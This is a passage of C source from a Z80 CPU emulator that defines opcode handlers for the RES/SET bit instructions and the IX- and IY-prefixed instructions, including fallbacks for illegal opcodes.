OP(xycb,ac) { H = RES(5, RM(EA) ); WM( EA,H ); } /* RES 5,H=(XY+o) */
OP(xycb,ad) { L = RES(5, RM(EA) ); WM( EA,L ); } /* RES 5,L=(XY+o) */
OP(xycb,ae) { WM( EA, RES(5,RM(EA)) ); } /* RES 5,(XY+o) */
OP(xycb,af) { A = RES(5, RM(EA) ); WM( EA,A ); } /* RES 5,A=(XY+o) */
OP(xycb,b0) { B = RES(6, RM(EA) ); WM( EA,B ); } /* RES 6,B=(XY+o) */
OP(xycb,b1) { C = RES(6, RM(EA) ); WM( EA,C ); } /* RES 6,C=(XY+o) */
OP(xycb,b2) { D = RES(6, RM(EA) ); WM( EA,D ); } /* RES 6,D=(XY+o) */
OP(xycb,b3) { E = RES(6, RM(EA) ); WM( EA,E ); } /* RES 6,E=(XY+o) */
OP(xycb,b4) { H = RES(6, RM(EA) ); WM( EA,H ); } /* RES 6,H=(XY+o) */
OP(xycb,b5) { L = RES(6, RM(EA) ); WM( EA,L ); } /* RES 6,L=(XY+o) */
OP(xycb,b6) { WM( EA, RES(6,RM(EA)) ); } /* RES 6,(XY+o) */
OP(xycb,b7) { A = RES(6, RM(EA) ); WM( EA,A ); } /* RES 6,A=(XY+o) */
OP(xycb,b8) { B = RES(7, RM(EA) ); WM( EA,B ); } /* RES 7,B=(XY+o) */
OP(xycb,b9) { C = RES(7, RM(EA) ); WM( EA,C ); } /* RES 7,C=(XY+o) */
OP(xycb,ba) { D = RES(7, RM(EA) ); WM( EA,D ); } /* RES 7,D=(XY+o) */
OP(xycb,bb) { E = RES(7, RM(EA) ); WM( EA,E ); } /* RES 7,E=(XY+o) */
OP(xycb,bc) { H = RES(7, RM(EA) ); WM( EA,H ); } /* RES 7,H=(XY+o) */
OP(xycb,bd) { L = RES(7, RM(EA) ); WM( EA,L ); } /* RES 7,L=(XY+o) */
OP(xycb,be) { WM( EA, RES(7,RM(EA)) ); } /* RES 7,(XY+o) */
OP(xycb,bf) { A = RES(7, RM(EA) ); WM( EA,A ); } /* RES 7,A=(XY+o) */
OP(xycb,c0) { B = SET(0, RM(EA) ); WM( EA,B ); } /* SET 0,B=(XY+o) */
OP(xycb,c1) { C = SET(0, RM(EA) ); WM( EA,C ); } /* SET 0,C=(XY+o) */
OP(xycb,c2) { D = SET(0, RM(EA) ); WM( EA,D ); } /* SET 0,D=(XY+o) */
OP(xycb,c3) { E = SET(0, RM(EA) ); WM( EA,E ); } /* SET 0,E=(XY+o) */
OP(xycb,c4) { H = SET(0, RM(EA) ); WM( EA,H ); } /* SET 0,H=(XY+o) */
OP(xycb,c5) { L = SET(0, RM(EA) ); WM( EA,L ); } /* SET 0,L=(XY+o) */
OP(xycb,c6) { WM( EA, SET(0,RM(EA)) ); } /* SET 0,(XY+o) */
OP(xycb,c7) { A = SET(0, RM(EA) ); WM( EA,A ); } /* SET 0,A=(XY+o) */
OP(xycb,c8) { B = SET(1, RM(EA) ); WM( EA,B ); } /* SET 1,B=(XY+o) */
OP(xycb,c9) { C = SET(1, RM(EA) ); WM( EA,C ); } /* SET 1,C=(XY+o) */
OP(xycb,ca) { D = SET(1, RM(EA) ); WM( EA,D ); } /* SET 1,D=(XY+o) */
OP(xycb,cb) { E = SET(1, RM(EA) ); WM( EA,E ); } /* SET 1,E=(XY+o) */
OP(xycb,cc) { H = SET(1, RM(EA) ); WM( EA,H ); } /* SET 1,H=(XY+o) */
OP(xycb,cd) { L = SET(1, RM(EA) ); WM( EA,L ); } /* SET 1,L=(XY+o) */
OP(xycb,ce) { WM( EA, SET(1,RM(EA)) ); } /* SET 1,(XY+o) */
OP(xycb,cf) { A = SET(1, RM(EA) ); WM( EA,A ); } /* SET 1,A=(XY+o) */
OP(xycb,d0) { B = SET(2, RM(EA) ); WM( EA,B ); } /* SET 2,B=(XY+o) */
OP(xycb,d1) { C = SET(2, RM(EA) ); WM( EA,C ); } /* SET 2,C=(XY+o) */
OP(xycb,d2) { D = SET(2, RM(EA) ); WM( EA,D ); } /* SET 2,D=(XY+o) */
OP(xycb,d3) { E = SET(2, RM(EA) ); WM( EA,E ); } /* SET 2,E=(XY+o) */
OP(xycb,d4) { H = SET(2, RM(EA) ); WM( EA,H ); } /* SET 2,H=(XY+o) */
OP(xycb,d5) { L = SET(2, RM(EA) ); WM( EA,L ); } /* SET 2,L=(XY+o) */
OP(xycb,d6) { WM( EA, SET(2,RM(EA)) ); } /* SET 2,(XY+o) */
OP(xycb,d7) { A = SET(2, RM(EA) ); WM( EA,A ); } /* SET 2,A=(XY+o) */
OP(xycb,d8) { B = SET(3, RM(EA) ); WM( EA,B ); } /* SET 3,B=(XY+o) */
OP(xycb,d9) { C = SET(3, RM(EA) ); WM( EA,C ); } /* SET 3,C=(XY+o) */
OP(xycb,da) { D = SET(3, RM(EA) ); WM( EA,D ); } /* SET 3,D=(XY+o) */
OP(xycb,db) { E = SET(3, RM(EA) ); WM( EA,E ); } /* SET 3,E=(XY+o) */
OP(xycb,dc) { H = SET(3, RM(EA) ); WM( EA,H ); } /* SET 3,H=(XY+o) */
OP(xycb,dd) { L = SET(3, RM(EA) ); WM( EA,L ); } /* SET 3,L=(XY+o) */
OP(xycb,de) { WM( EA, SET(3,RM(EA)) ); } /* SET 3,(XY+o) */
OP(xycb,df) { A = SET(3, RM(EA) ); WM( EA,A ); } /* SET 3,A=(XY+o) */
OP(xycb,e0) { B = SET(4, RM(EA) ); WM( EA,B ); } /* SET 4,B=(XY+o) */
OP(xycb,e1) { C = SET(4, RM(EA) ); WM( EA,C ); } /* SET 4,C=(XY+o) */
OP(xycb,e2) { D = SET(4, RM(EA) ); WM( EA,D ); } /* SET 4,D=(XY+o) */
OP(xycb,e3) { E = SET(4, RM(EA) ); WM( EA,E ); } /* SET 4,E=(XY+o) */
OP(xycb,e4) { H = SET(4, RM(EA) ); WM( EA,H ); } /* SET 4,H=(XY+o) */
OP(xycb,e5) { L = SET(4, RM(EA) ); WM( EA,L ); } /* SET 4,L=(XY+o) */
OP(xycb,e6) { WM( EA, SET(4,RM(EA)) ); } /* SET 4,(XY+o) */
OP(xycb,e7) { A = SET(4, RM(EA) ); WM( EA,A ); } /* SET 4,A=(XY+o) */
OP(xycb,e8) { B = SET(5, RM(EA) ); WM( EA,B ); } /* SET 5,B=(XY+o) */
OP(xycb,e9) { C = SET(5, RM(EA) ); WM( EA,C ); } /* SET 5,C=(XY+o) */
OP(xycb,ea) { D = SET(5, RM(EA) ); WM( EA,D ); } /* SET 5,D=(XY+o) */
OP(xycb,eb) { E = SET(5, RM(EA) ); WM( EA,E ); } /* SET 5,E=(XY+o) */
OP(xycb,ec) { H = SET(5, RM(EA) ); WM( EA,H ); } /* SET 5,H=(XY+o) */
OP(xycb,ed) { L = SET(5, RM(EA) ); WM( EA,L ); } /* SET 5,L=(XY+o) */
OP(xycb,ee) { WM( EA, SET(5,RM(EA)) ); } /* SET 5,(XY+o) */
OP(xycb,ef) { A = SET(5, RM(EA) ); WM( EA,A ); } /* SET 5,A=(XY+o) */
OP(xycb,f0) { B = SET(6, RM(EA) ); WM( EA,B ); } /* SET 6,B=(XY+o) */
OP(xycb,f1) { C = SET(6, RM(EA) ); WM( EA,C ); } /* SET 6,C=(XY+o) */
OP(xycb,f2) { D = SET(6, RM(EA) ); WM( EA,D ); } /* SET 6,D=(XY+o) */
OP(xycb,f3) { E = SET(6, RM(EA) ); WM( EA,E ); } /* SET 6,E=(XY+o) */
OP(xycb,f4) { H = SET(6, RM(EA) ); WM( EA,H ); } /* SET 6,H=(XY+o) */
OP(xycb,f5) { L = SET(6, RM(EA) ); WM( EA,L ); } /* SET 6,L=(XY+o) */
OP(xycb,f6) { WM( EA, SET(6,RM(EA)) ); } /* SET 6,(XY+o) */
OP(xycb,f7) { A = SET(6, RM(EA) ); WM( EA,A ); } /* SET 6,A=(XY+o) */
OP(xycb,f8) { B = SET(7, RM(EA) ); WM( EA,B ); } /* SET 7,B=(XY+o) */
OP(xycb,f9) { C = SET(7, RM(EA) ); WM( EA,C ); } /* SET 7,C=(XY+o) */
OP(xycb,fa) { D = SET(7, RM(EA) ); WM( EA,D ); } /* SET 7,D=(XY+o) */
OP(xycb,fb) { E = SET(7, RM(EA) ); WM( EA,E ); } /* SET 7,E=(XY+o) */
OP(xycb,fc) { H = SET(7, RM(EA) ); WM( EA,H ); } /* SET 7,H=(XY+o) */
OP(xycb,fd) { L = SET(7, RM(EA) ); WM( EA,L ); } /* SET 7,L=(XY+o) */
OP(xycb,fe) { WM( EA, SET(7,RM(EA)) ); } /* SET 7,(XY+o) */
OP(xycb,ff) { A = SET(7, RM(EA) ); WM( EA,A ); } /* SET 7,A=(XY+o) */
OP(illegal,1) {
#if VERBOSE
logerror("Z80 #%d ill. opcode $%02x $%02x\n",
cpu_getactivecpu(), cpu_readop((PCD-1)&0xffff), cpu_readop(PCD));
#endif
}
/**********************************************************
* IX register related opcodes (DD prefix)
**********************************************************/
OP(dd,00) { illegal_1(); op_00(); } /* DB DD */
OP(dd,01) { illegal_1(); op_01(); } /* DB DD */
OP(dd,02) { illegal_1(); op_02(); } /* DB DD */
OP(dd,03) { illegal_1(); op_03(); } /* DB DD */
OP(dd,04) { illegal_1(); op_04(); } /* DB DD */
OP(dd,05) { illegal_1(); op_05(); } /* DB DD */
OP(dd,06) { illegal_1(); op_06(); } /* DB DD */
OP(dd,07) { illegal_1(); op_07(); } /* DB DD */
OP(dd,08) { illegal_1(); op_08(); } /* DB DD */
OP(dd,09) { ADD16(ix,bc); } /* ADD IX,BC */
OP(dd,0a) { illegal_1(); op_0a(); } /* DB DD */
OP(dd,0b) { illegal_1(); op_0b(); } /* DB DD */
OP(dd,0c) { illegal_1(); op_0c(); } /* DB DD */
OP(dd,0d) { illegal_1(); op_0d(); } /* DB DD */
OP(dd,0e) { illegal_1(); op_0e(); } /* DB DD */
OP(dd,0f) { illegal_1(); op_0f(); } /* DB DD */
OP(dd,10) { illegal_1(); op_10(); } /* DB DD */
OP(dd,11) { illegal_1(); op_11(); } /* DB DD */
OP(dd,12) { illegal_1(); op_12(); } /* DB DD */
OP(dd,13) { illegal_1(); op_13(); } /* DB DD */
OP(dd,14) { illegal_1(); op_14(); } /* DB DD */
OP(dd,15) { illegal_1(); op_15(); } /* DB DD */
OP(dd,16) { illegal_1(); op_16(); } /* DB DD */
OP(dd,17) { illegal_1(); op_17(); } /* DB DD */
OP(dd,18) { illegal_1(); op_18(); } /* DB DD */
OP(dd,19) { ADD16(ix,de); } /* ADD IX,DE */
OP(dd,1a) { illegal_1(); op_1a(); } /* DB DD */
OP(dd,1b) { illegal_1(); op_1b(); } /* DB DD */
OP(dd,1c) { illegal_1(); op_1c(); } /* DB DD */
OP(dd,1d) { illegal_1(); op_1d(); } /* DB DD */
OP(dd,1e) { illegal_1(); op_1e(); } /* DB DD */
OP(dd,1f) { illegal_1(); op_1f(); } /* DB DD */
OP(dd,20) { illegal_1(); op_20(); } /* DB DD */
OP(dd,21) { IX = ARG16(); } /* LD IX,w */
OP(dd,22) { EA = ARG16(); WM16( EA, &Z80.ix ); WZ = EA+1; } /* LD (w),IX */
OP(dd,23) { IX++; } /* INC IX */
OP(dd,24) { HX = INC(HX); } /* INC HX */
OP(dd,25) { HX = DEC(HX); } /* DEC HX */
OP(dd,26) { HX = ARG(); } /* LD HX,n */
OP(dd,27) { illegal_1(); op_27(); } /* DB DD */
OP(dd,28) { illegal_1(); op_28(); } /* DB DD */
OP(dd,29) { ADD16(ix,ix); } /* ADD IX,IX */
OP(dd,2a) { EA = ARG16(); RM16( EA, &Z80.ix ); WZ = EA+1; } /* LD IX,(w) */
OP(dd,2b) { IX--; } /* DEC IX */
OP(dd,2c) { LX = INC(LX); } /* INC LX */
OP(dd,2d) { LX = DEC(LX); } /* DEC LX */
OP(dd,2e) { LX = ARG(); } /* LD LX,n */
OP(dd,2f) { illegal_1(); op_2f(); } /* DB DD */
OP(dd,30) { illegal_1(); op_30(); } /* DB DD */
OP(dd,31) { illegal_1(); op_31(); } /* DB DD */
OP(dd,32) { illegal_1(); op_32(); } /* DB DD */
OP(dd,33) { illegal_1(); op_33(); } /* DB DD */
OP(dd,34) { EAX; WM( EA, INC(RM(EA)) ); } /* INC (IX+o) */
OP(dd,35) { EAX; WM( EA, DEC(RM(EA)) ); } /* DEC (IX+o) */
OP(dd,36) { EAX; WM( EA, ARG() ); } /* LD (IX+o),n */
OP(dd,37) { illegal_1(); op_37(); } /* DB DD */
OP(dd,38) { illegal_1(); op_38(); } /* DB DD */
OP(dd,39) { ADD16(ix,sp); } /* ADD IX,SP */
OP(dd,3a) { illegal_1(); op_3a(); } /* DB DD */
OP(dd,3b) { illegal_1(); op_3b(); } /* DB DD */
OP(dd,3c) { illegal_1(); op_3c(); } /* DB DD */
OP(dd,3d) { illegal_1(); op_3d(); } /* DB DD */
OP(dd,3e) { illegal_1(); op_3e(); } /* DB DD */
OP(dd,3f) { illegal_1(); op_3f(); } /* DB DD */
OP(dd,40) { illegal_1(); op_40(); } /* DB DD */
OP(dd,41) { illegal_1(); op_41(); } /* DB DD */
OP(dd,42) { illegal_1(); op_42(); } /* DB DD */
OP(dd,43) { illegal_1(); op_43(); } /* DB DD */
OP(dd,44) { B = HX; } /* LD B,HX */
OP(dd,45) { B = LX; } /* LD B,LX */
OP(dd,46) { EAX; B = RM(EA); } /* LD B,(IX+o) */
OP(dd,47) { illegal_1(); op_47(); } /* DB DD */
OP(dd,48) { illegal_1(); op_48(); } /* DB DD */
OP(dd,49) { illegal_1(); op_49(); } /* DB DD */
OP(dd,4a) { illegal_1(); op_4a(); } /* DB DD */
OP(dd,4b) { illegal_1(); op_4b(); } /* DB DD */
OP(dd,4c) { C = HX; } /* LD C,HX */
OP(dd,4d) { C = LX; } /* LD C,LX */
OP(dd,4e) { EAX; C = RM(EA); } /* LD C,(IX+o) */
OP(dd,4f) { illegal_1(); op_4f(); } /* DB DD */
OP(dd,50) { illegal_1(); op_50(); } /* DB DD */
OP(dd,51) { illegal_1(); op_51(); } /* DB DD */
OP(dd,52) { illegal_1(); op_52(); } /* DB DD */
OP(dd,53) { illegal_1(); op_53(); } /* DB DD */
OP(dd,54) { D = HX; } /* LD D,HX */
OP(dd,55) { D = LX; } /* LD D,LX */
OP(dd,56) { EAX; D = RM(EA); } /* LD D,(IX+o) */
OP(dd,57) { illegal_1(); op_57(); } /* DB DD */
OP(dd,58) { illegal_1(); op_58(); } /* DB DD */
OP(dd,59) { illegal_1(); op_59(); } /* DB DD */
OP(dd,5a) { illegal_1(); op_5a(); } /* DB DD */
OP(dd,5b) { illegal_1(); op_5b(); } /* DB DD */
OP(dd,5c) { E = HX; } /* LD E,HX */
OP(dd,5d) { E = LX; } /* LD E,LX */
OP(dd,5e) { EAX; E = RM(EA); } /* LD E,(IX+o) */
OP(dd,5f) { illegal_1(); op_5f(); } /* DB DD */
OP(dd,60) { HX = B; } /* LD HX,B */
OP(dd,61) { HX = C; } /* LD HX,C */
OP(dd,62) { HX = D; } /* LD HX,D */
OP(dd,63) { HX = E; } /* LD HX,E */
OP(dd,64) { } /* LD HX,HX */
OP(dd,65) { HX = LX; } /* LD HX,LX */
OP(dd,66) { EAX; H = RM(EA); } /* LD H,(IX+o) */
OP(dd,67) { HX = A; } /* LD HX,A */
OP(dd,68) { LX = B; } /* LD LX,B */
OP(dd,69) { LX = C; } /* LD LX,C */
OP(dd,6a) { LX = D; } /* LD LX,D */
OP(dd,6b) { LX = E; } /* LD LX,E */
OP(dd,6c) { LX = HX; } /* LD LX,HX */
OP(dd,6d) { } /* LD LX,LX */
OP(dd,6e) { EAX; L = RM(EA); } /* LD L,(IX+o) */
OP(dd,6f) { LX = A; } /* LD LX,A */
OP(dd,70) { EAX; WM( EA, B ); } /* LD (IX+o),B */
OP(dd,71) { EAX; WM( EA, C ); } /* LD (IX+o),C */
OP(dd,72) { EAX; WM( EA, D ); } /* LD (IX+o),D */
OP(dd,73) { EAX; WM( EA, E ); } /* LD (IX+o),E */
OP(dd,74) { EAX; WM( EA, H ); } /* LD (IX+o),H */
OP(dd,75) { EAX; WM( EA, L ); } /* LD (IX+o),L */
OP(dd,76) { illegal_1(); op_76(); } /* DB DD */
OP(dd,77) { EAX; WM( EA, A ); } /* LD (IX+o),A */
OP(dd,78) { illegal_1(); op_78(); } /* DB DD */
OP(dd,79) { illegal_1(); op_79(); } /* DB DD */
OP(dd,7a) { illegal_1(); op_7a(); } /* DB DD */
OP(dd,7b) { illegal_1(); op_7b(); } /* DB DD */
OP(dd,7c) { A = HX; } /* LD A,HX */
OP(dd,7d) { A = LX; } /* LD A,LX */
OP(dd,7e) { EAX; A = RM(EA); } /* LD A,(IX+o) */
OP(dd,7f) { illegal_1(); op_7f(); } /* DB DD */
OP(dd,80) { illegal_1(); op_80(); } /* DB DD */
OP(dd,81) { illegal_1(); op_81(); } /* DB DD */
OP(dd,82) { illegal_1(); op_82(); } /* DB DD */
OP(dd,83) { illegal_1(); op_83(); } /* DB DD */
OP(dd,84) { ADD(HX); } /* ADD A,HX */
OP(dd,85) { ADD(LX); } /* ADD A,LX */
OP(dd,86) { EAX; ADD(RM(EA)); } /* ADD A,(IX+o) */
OP(dd,87) { illegal_1(); op_87(); } /* DB DD */
OP(dd,88) { illegal_1(); op_88(); } /* DB DD */
OP(dd,89) { illegal_1(); op_89(); } /* DB DD */
OP(dd,8a) { illegal_1(); op_8a(); } /* DB DD */
OP(dd,8b) { illegal_1(); op_8b(); } /* DB DD */
OP(dd,8c) { ADC(HX); } /* ADC A,HX */
OP(dd,8d) { ADC(LX); } /* ADC A,LX */
OP(dd,8e) { EAX; ADC(RM(EA)); } /* ADC A,(IX+o) */
OP(dd,8f) { illegal_1(); op_8f(); } /* DB DD */
OP(dd,90) { illegal_1(); op_90(); } /* DB DD */
OP(dd,91) { illegal_1(); op_91(); } /* DB DD */
OP(dd,92) { illegal_1(); op_92(); } /* DB DD */
OP(dd,93) { illegal_1(); op_93(); } /* DB DD */
OP(dd,94) { SUB(HX); } /* SUB HX */
OP(dd,95) { SUB(LX); } /* SUB LX */
OP(dd,96) { EAX; SUB(RM(EA)); } /* SUB (IX+o) */
OP(dd,97) { illegal_1(); op_97(); } /* DB DD */
OP(dd,98) { illegal_1(); op_98(); } /* DB DD */
OP(dd,99) { illegal_1(); op_99(); } /* DB DD */
OP(dd,9a) { illegal_1(); op_9a(); } /* DB DD */
OP(dd,9b) { illegal_1(); op_9b(); } /* DB DD */
OP(dd,9c) { SBC(HX); } /* SBC A,HX */
OP(dd,9d) { SBC(LX); } /* SBC A,LX */
OP(dd,9e) { EAX; SBC(RM(EA)); } /* SBC A,(IX+o) */
OP(dd,9f) { illegal_1(); op_9f(); } /* DB DD */
OP(dd,a0) { illegal_1(); op_a0(); } /* DB DD */
OP(dd,a1) { illegal_1(); op_a1(); } /* DB DD */
OP(dd,a2) { illegal_1(); op_a2(); } /* DB DD */
OP(dd,a3) { illegal_1(); op_a3(); } /* DB DD */
OP(dd,a4) { AND(HX); } /* AND HX */
OP(dd,a5) { AND(LX); } /* AND LX */
OP(dd,a6) { EAX; AND(RM(EA)); } /* AND (IX+o) */
OP(dd,a7) { illegal_1(); op_a7(); } /* DB DD */
OP(dd,a8) { illegal_1(); op_a8(); } /* DB DD */
OP(dd,a9) { illegal_1(); op_a9(); } /* DB DD */
OP(dd,aa) { illegal_1(); op_aa(); } /* DB DD */
OP(dd,ab) { illegal_1(); op_ab(); } /* DB DD */
OP(dd,ac) { XOR(HX); } /* XOR HX */
OP(dd,ad) { XOR(LX); } /* XOR LX */
OP(dd,ae) { EAX; XOR(RM(EA)); } /* XOR (IX+o) */
OP(dd,af) { illegal_1(); op_af(); } /* DB DD */
OP(dd,b0) { illegal_1(); op_b0(); } /* DB DD */
OP(dd,b1) { illegal_1(); op_b1(); } /* DB DD */
OP(dd,b2) { illegal_1(); op_b2(); } /* DB DD */
OP(dd,b3) { illegal_1(); op_b3(); } /* DB DD */
OP(dd,b4) { OR(HX); } /* OR HX */
OP(dd,b5) { OR(LX); } /* OR LX */
OP(dd,b6) { EAX; OR(RM(EA)); } /* OR (IX+o) */
OP(dd,b7) { illegal_1(); op_b7(); } /* DB DD */
OP(dd,b8) { illegal_1(); op_b8(); } /* DB DD */
OP(dd,b9) { illegal_1(); op_b9(); } /* DB DD */
OP(dd,ba) { illegal_1(); op_ba(); } /* DB DD */
OP(dd,bb) { illegal_1(); op_bb(); } /* DB DD */
OP(dd,bc) { CP(HX); } /* CP HX */
OP(dd,bd) { CP(LX); } /* CP LX */
OP(dd,be) { EAX; CP(RM(EA)); } /* CP (IX+o) */
OP(dd,bf) { illegal_1(); op_bf(); } /* DB DD */
OP(dd,c0) { illegal_1(); op_c0(); } /* DB DD */
OP(dd,c1) { illegal_1(); op_c1(); } /* DB DD */
OP(dd,c2) { illegal_1(); op_c2(); } /* DB DD */
OP(dd,c3) { illegal_1(); op_c3(); } /* DB DD */
OP(dd,c4) { illegal_1(); op_c4(); } /* DB DD */
OP(dd,c5) { illegal_1(); op_c5(); } /* DB DD */
OP(dd,c6) { illegal_1(); op_c6(); } /* DB DD */
OP(dd,c7) { illegal_1(); op_c7(); } /* DB DD */
OP(dd,c8) { illegal_1(); op_c8(); } /* DB DD */
OP(dd,c9) { illegal_1(); op_c9(); } /* DB DD */
OP(dd,ca) { illegal_1(); op_ca(); } /* DB DD */
OP(dd,cb) { EAX; EXEC(xycb,ARG()); } /* **** DD CB xx */
OP(dd,cc) { illegal_1(); op_cc(); } /* DB DD */
OP(dd,cd) { illegal_1(); op_cd(); } /* DB DD */
OP(dd,ce) { illegal_1(); op_ce(); } /* DB DD */
OP(dd,cf) { illegal_1(); op_cf(); } /* DB DD */
OP(dd,d0) { illegal_1(); op_d0(); } /* DB DD */
OP(dd,d1) { illegal_1(); op_d1(); } /* DB DD */
OP(dd,d2) { illegal_1(); op_d2(); } /* DB DD */
OP(dd,d3) { illegal_1(); op_d3(); } /* DB DD */
OP(dd,d4) { illegal_1(); op_d4(); } /* DB DD */
OP(dd,d5) { illegal_1(); op_d5(); } /* DB DD */
OP(dd,d6) { illegal_1(); op_d6(); } /* DB DD */
OP(dd,d7) { illegal_1(); op_d7(); } /* DB DD */
OP(dd,d8) { illegal_1(); op_d8(); } /* DB DD */
OP(dd,d9) { illegal_1(); op_d9(); } /* DB DD */
OP(dd,da) { illegal_1(); op_da(); } /* DB DD */
OP(dd,db) { illegal_1(); op_db(); } /* DB DD */
OP(dd,dc) { illegal_1(); op_dc(); } /* DB DD */
OP(dd,dd) { EXEC(dd,ROP()); } /* **** DD DD xx */
OP(dd,de) { illegal_1(); op_de(); } /* DB DD */
OP(dd,df) { illegal_1(); op_df(); } /* DB DD */
OP(dd,e0) { illegal_1(); op_e0(); } /* DB DD */
OP(dd,e1) { POP( ix ); } /* POP IX */
OP(dd,e2) { illegal_1(); op_e2(); } /* DB DD */
OP(dd,e3) { EXSP( ix ); } /* EX (SP),IX */
OP(dd,e4) { illegal_1(); op_e4(); } /* DB DD */
OP(dd,e5) { PUSH( ix ); } /* PUSH IX */
OP(dd,e6) { illegal_1(); op_e6(); } /* DB DD */
OP(dd,e7) { illegal_1(); op_e7(); } /* DB DD */
OP(dd,e8) { illegal_1(); op_e8(); } /* DB DD */
OP(dd,e9) { PC = IX; } /* JP (IX) */
OP(dd,ea) { illegal_1(); op_ea(); } /* DB DD */
OP(dd,eb) { illegal_1(); op_eb(); } /* DB DD */
OP(dd,ec) { illegal_1(); op_ec(); } /* DB DD */
OP(dd,ed) { illegal_1(); op_ed(); } /* DB DD */
OP(dd,ee) { illegal_1(); op_ee(); } /* DB DD */
OP(dd,ef) { illegal_1(); op_ef(); } /* DB DD */
OP(dd,f0) { illegal_1(); op_f0(); } /* DB DD */
OP(dd,f1) { illegal_1(); op_f1(); } /* DB DD */
OP(dd,f2) { illegal_1(); op_f2(); } /* DB DD */
OP(dd,f3) { illegal_1(); op_f3(); } /* DB DD */
OP(dd,f4) { illegal_1(); op_f4(); } /* DB DD */
OP(dd,f5) { illegal_1(); op_f5(); } /* DB DD */
OP(dd,f6) { illegal_1(); op_f6(); } /* DB DD */
OP(dd,f7) { illegal_1(); op_f7(); } /* DB DD */
OP(dd,f8) { illegal_1(); op_f8(); } /* DB DD */
OP(dd,f9) { SP = IX; } /* LD SP,IX */
OP(dd,fa) { illegal_1(); op_fa(); } /* DB DD */
OP(dd,fb) { illegal_1(); op_fb(); } /* DB DD */
OP(dd,fc) { illegal_1(); op_fc(); } /* DB DD */
OP(dd,fd) { EXEC(fd,ROP()); } /* **** DD FD xx */
OP(dd,fe) { illegal_1(); op_fe(); } /* DB DD */
OP(dd,ff) { illegal_1(); op_ff(); } /* DB DD */
/**********************************************************
* IY register related opcodes (FD prefix)
**********************************************************/
OP(fd,00) { illegal_1(); op_00(); } /* DB FD */
OP(fd,01) { illegal_1(); op_01(); } /* DB FD */
OP(fd,02) { illegal_1(); op_02(); } /* DB FD */
OP(fd,03) { illegal_1(); op_03(); } /* DB FD */
OP(fd,04) { illegal_1(); op_04(); } /* DB FD */
OP(fd,05) { illegal_1(); op_05(); } /* DB FD */
OP(fd,06) { illegal_1(); op_06(); } /* DB FD */
OP(fd,07) { illegal_1(); op_07(); } /* DB FD */
OP(fd,08) { illegal_1(); op_08(); } /* DB FD */
OP(fd,09) { ADD16(iy,bc); } /* ADD IY,BC */
OP(fd,0a) { illegal_1(); op_0a(); } /* DB FD */
OP(fd,0b) { illegal_1(); op_0b(); } /* DB FD */
OP(fd,0c) { illegal_1(); op_0c(); } /* DB FD */
OP(fd,0d) { illegal_1(); op_0d(); } /* DB FD */
OP(fd,0e) { illegal_1(); op_0e(); } /* DB FD */
OP(fd,0f) { illegal_1(); op_0f(); } /* DB FD */
OP(fd,10) { illegal_1(); op_10(); } /* DB FD */
OP(fd,11) { illegal_1(); op_11(); } /* DB FD */
OP(fd,12) { illegal_1(); op_12(); } /* DB FD */
OP(fd,13) { illegal_1(); op_13(); } /* DB FD */
OP(fd,14) { illegal_1(); op_14(); } /* DB FD */
OP(fd,15) { illegal_1(); op_15(); } /* DB FD */
OP(fd,16) { illegal_1(); op_16(); } /* DB FD */
OP(fd,17) { illegal_1(); op_17(); } /* DB FD */
OP(fd,18) { illegal_1(); op_18(); } /* DB FD */
OP(fd,19) { ADD16(iy,de); } /* ADD IY,DE */
OP(fd,1a) { illegal_1(); op_1a(); } /* DB FD */
OP(fd,1b) { illegal_1(); op_1b(); } /* DB FD */
OP(fd,1c) { illegal_1(); op_1c(); } /* DB FD */
OP(fd,1d) { illegal_1(); op_1d(); } /* DB FD */
OP(fd,1e) { illegal_1(); op_1e(); } /* DB FD */
OP(fd,1f) { illegal_1(); op_1f(); } /* DB FD */
OP(fd,20) { illegal_1(); op_20(); } /* DB FD */
OP(fd,21) { IY = ARG16(); } /* LD IY,w */
OP(fd,22) { EA = ARG16(); WM16( EA, &Z80.iy ); WZ = EA+1; } /* LD (w),IY */
OP(fd,23) { IY++; } /* INC IY */
OP(fd,24) { HY = INC(HY); } /* INC HY */
OP(fd,25) { HY = DEC(HY); } /* DEC HY */
OP(fd,26) { HY = ARG(); } /* LD HY,n */
OP(fd,27) { illegal_1(); op_27(); } /* DB FD */
OP(fd,28) { illegal_1(); op_28(); } /* DB FD */
OP(fd,29) { ADD16(iy,iy); } /* ADD IY,IY */
OP(fd,2a) { EA = ARG16(); RM16( EA, &Z80.iy ); WZ = EA+1; } /* LD IY,(w) */
OP(fd,2b) { IY--; } /* DEC IY */
OP(fd,2c) { LY = INC(LY); } /* INC LY */
OP(fd,2d) { LY = DEC(LY); } /* DEC LY */
OP(fd,2e) { LY = ARG(); } /* LD LY,n */
OP(fd,2f) { illegal_1(); op_2f(); } /* DB FD */
OP(fd,30) { illegal_1(); op_30(); } /* DB FD */
OP(fd,31) { illegal_1(); op_31(); } /* DB FD */
OP(fd,32) { illegal_1(); op_32(); } /* DB FD */
OP(fd,33) { illegal_1(); op_33(); } /* DB FD */
OP(fd,34) { EAY; WM( EA, INC(RM(EA)) ); } /* INC (IY+o) */
OP(fd,35) { EAY; WM( EA, DEC(RM(EA)) ); } /* DEC (IY+o) */
OP(fd,36) { EAY; WM( EA, ARG() ); } /* LD (IY+o),n */
OP(fd,37) { illegal_1(); op_37(); } /* DB FD */
OP(fd,38) { illegal_1(); op_38(); } /* DB FD */
OP(fd,39) { ADD16(iy,sp); } /* ADD IY,SP */
OP(fd,3a) { illegal_1(); op_3a(); } /* DB FD */
OP(fd,3b) { illegal_1(); op_3b(); } /* DB FD */
OP(fd,3c) { illegal_1(); op_3c(); } /* DB FD */
OP(fd,3d) { illegal_1(); op_3d(); } /* DB FD */
OP(fd,3e) { illegal_1(); op_3e(); } /* DB FD */
OP(fd,3f) { illegal_1(); op_3f(); } /* DB FD */
OP(fd,40) { illegal_1(); op_40(); } /* DB FD */
OP(fd,41) { illegal_1(); op_41(); } /* DB FD */
OP(fd,42) { illegal_1(); op_42(); } /* DB FD */
OP(fd,43) { illegal_1(); op_43(); } /* DB FD */
OP(fd,44) { B = HY; } /* LD B,HY */
OP(fd,45) { B = LY; } /* LD B,LY */
OP(fd,46) { EAY; B = RM(EA); } /* LD B,(IY+o) */
OP(fd,47) { illegal_1(); op_47(); } /* DB FD */
OP(fd,48) { illegal_1(); op_48(); } /* DB FD */
OP(fd,49) { illegal_1(); op_49(); } /* DB FD */
OP(fd,4a) { illegal_1(); op_4a(); } /* DB FD */
OP(fd,4b) { illegal_1(); op_4b(); } /* DB FD */
OP(fd,4c) { C = HY; } /* LD C,HY */
OP(fd,4d) { C = LY; } /* LD C,LY */
